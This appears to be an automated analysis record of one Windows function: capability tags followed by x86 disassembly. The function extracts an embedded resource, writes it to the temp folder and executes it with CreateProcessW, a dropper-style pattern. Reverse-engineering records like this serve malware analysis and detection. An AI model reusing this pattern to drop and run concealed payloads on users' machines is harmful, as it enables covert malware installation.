Function at 0x401020
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
mov eax, dword [0x410084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x20a]
push edx
mov dword [ebp - 0x230], eax
mov word [ebp - 0x20c], cx
call fcn.00402690
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x214], 7
mov dword [ebp - 0x218], 0
mov word [ebp - 0x228], cx
lea edx, [eax + 2]
jmp 0x4010a0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4010a0
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x20c]
lea ecx, [ebp - 0x228]
call fcn.00401960
mov ebx, 0xd
lea eax, [ebp - 0x228]
call fcn.00401310
cmp dword [ebp - 0x214], 8
jb 0x4010e8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x22c], edx
jmp 0x4010f4
lea eax, [ebp - 0x228]
mov dword [ebp - 0x22c], eax
push 0x100
push 0x64
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0x22c]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea edx, [ebp - 0x234]
push edx
push edi
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
lea eax, [ebp - 0x288]
push 0
push eax
call fcn.00402690
mov edx, dword [0x410e30]
mov eax, dword [edx + 0xc]
add esp, 0xc
mov ecx, 0x410e30
mov dword [ebp - 0x25c], 0x80
call eax
add eax, 0x10
mov ebx, 8
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x228]
cmp dword [ebp - 0x214], ebx
jae 0x4011a8
lea eax, [ebp - 0x228]
mov ecx, dword [ebp - 0x230]
push ecx
push eax
push str._s__s
lea edi, [ebp - 0x22c]
call fcn.00401490
mov esi, dword [ebp - 0x22c]
add esp, 0xc
cmp dword [esi - 4], 1
jle 0x4011e1
mov edx, dword [esi - 0xc]
push edx
mov eax, edi
push eax
call fcn.00401280
mov esi, dword [ebp - 0x22c]
lea ecx, [ebp - 0x244]
push ecx
lea edx, [ebp - 0x288]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00401c1f
add esp, 8
test eax, eax
js 0x40126b
cmp eax, dword [esi - 8]
jg 0x40126b
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
add esi, 0xfffffff0
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x40123f
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
cmp dword [ebp - 0x214], ebx
pop edi
pop esi
pop ebx
jb 0x401259
mov ecx, dword [ebp - 0x228]
push ecx
call fcn.00401b3f
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00401b4a
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x80070057
call fcn.00401000
int3